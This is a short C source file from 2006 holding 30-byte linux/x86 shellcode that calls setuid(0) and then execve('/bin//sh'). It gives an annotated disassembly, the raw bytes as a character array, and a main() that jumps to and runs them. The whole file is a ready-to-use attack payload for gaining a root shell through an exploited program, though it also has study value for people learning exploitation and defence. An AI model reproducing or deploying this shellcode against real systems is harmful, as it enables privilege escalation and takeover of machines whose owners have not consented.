/*
 * bunker_sc2.c V1.2 - Mon Mar 20 20:23:23 CET 2006
 *
 * Short (7 + 23 = 30 bytes) linux/x86 shellcode
 * setuid(0) + execve("/bin//sh", "[/bin//sh]", NULL);
 *
 * I got the same (i think best in space) result of raptor
 *  
 * bunker - http://rawlab.mindcreations.com
 * 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
 *
 * setuid(0);
 * 00000000  6a17              push byte +0x17
 * 00000002  58                pop eax
 * 00000003  31db              xor ebx,ebx
 * 00000005  cd80              int 0x80
 *
 * execve("/bin//sh", ["/bin//sh"], NULL);
 * 00000007  6a0b              push byte +0xb
 * 00000009  58                pop eax
 * 0000000a  99                cdq
 * 0000000b  52                push edx
 * 0000000c  682f2f7368        push dword 0x68732f2f
 * 00000011  682f62696e        push dword 0x6e69622f
 * 00000016  89e3              mov ebx,esp
 * 00000018  52                push edx
 * 00000019  53                push ebx
 * 0000001a  89e1              mov ecx,esp
 * 0000001c  cd80              int 0x80
 */

char sc[]=
"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xcd\x80";

main() { int(*f)()=(int(*)())sc;f(); }
